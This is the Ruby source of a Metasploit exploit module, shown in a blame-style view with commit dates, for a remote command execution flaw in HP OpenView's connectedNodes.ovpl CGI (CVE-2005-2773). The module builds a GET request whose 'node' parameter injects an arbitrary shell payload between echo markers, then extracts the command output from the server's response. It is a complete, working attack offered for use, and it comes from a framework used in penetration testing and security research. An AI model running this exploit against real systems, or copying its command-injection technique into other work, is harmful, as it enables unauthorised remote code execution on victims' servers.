2007-02-18 00:10:39 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2007-01-05 04:28:32 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = ExcellentRanking
|
2007-01-05 04:28:32 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2007-01-05 04:28:32 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2007-01-05 04:28:32 +00:00
|
|
|
'Name' => 'HP Openview connectedNodes.ovpl Remote Command Execution',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits an arbitrary command execution vulnerability in the
|
|
|
|
HP OpenView connectedNodes.ovpl CGI application. The results of the command
|
|
|
|
will be displayed to the screen.
|
2007-01-05 04:28:32 +00:00
|
|
|
},
|
2007-03-12 01:08:18 +00:00
|
|
|
'Author' => [ 'Valerio Tesei <valk[at]mojodo.it>', 'hdm' ],
|
2007-01-05 04:28:32 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
2009-06-07 20:20:42 +00:00
|
|
|
['CVE', '2005-2773'],
|
2007-01-05 04:28:32 +00:00
|
|
|
['OSVDB', '19057'],
|
|
|
|
['BID', '14662'],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
|
|
|
'Space' => 1024,
|
2009-07-21 15:20:35 +00:00
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'PayloadType' => 'cmd',
|
|
|
|
'RequiredCmd' => 'generic perl telnet',
|
|
|
|
}
|
2010-04-30 08:40:19 +00:00
|
|
|
},
|
2007-01-05 04:28:32 +00:00
|
|
|
'Platform' => 'unix',
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Targets' => [[ 'Automatic', { }]],
|
|
|
|
'DisclosureDate' => 'Aug 25 2005',
|
|
|
|
'DefaultTarget' => 0))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('URI', [true, "The full URI path to connectedNodes.ovpl", "/OvCgi/connectedNodes.ovpl"]),
|
|
|
|
], self.class)
|
2007-01-05 04:28:32 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-01-05 04:28:32 +00:00
|
|
|
# Trigger the command execution bug
|
|
|
|
res = send_request_cgi({
|
2010-07-03 06:21:31 +00:00
|
|
|
'uri' => datastore['URI'],
|
|
|
|
'vars_get' =>
|
|
|
|
{
|
|
|
|
'node' => %Q!; echo YYY; #{payload.encoded}; echo YYY| tr "\\n" "#{0xa3.chr}"!
|
|
|
|
}
|
|
|
|
}, 25)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-01-05 04:28:32 +00:00
|
|
|
if (res)
|
|
|
|
print_status("The server returned: #{res.code} #{res.message}")
|
|
|
|
print("")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-01-05 04:28:32 +00:00
|
|
|
m = res.body.match(/YYY(.*)YYY/)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-01-05 04:28:32 +00:00
|
|
|
if (m)
|
|
|
|
print_status("Command output from the server:")
|
|
|
|
print(m[1])
|
|
|
|
else
|
|
|
|
print_status("This server may not be vulnerable")
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-01-05 04:28:32 +00:00
|
|
|
else
|
|
|
|
print_status("No response from the server")
|
|
|
|
end
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|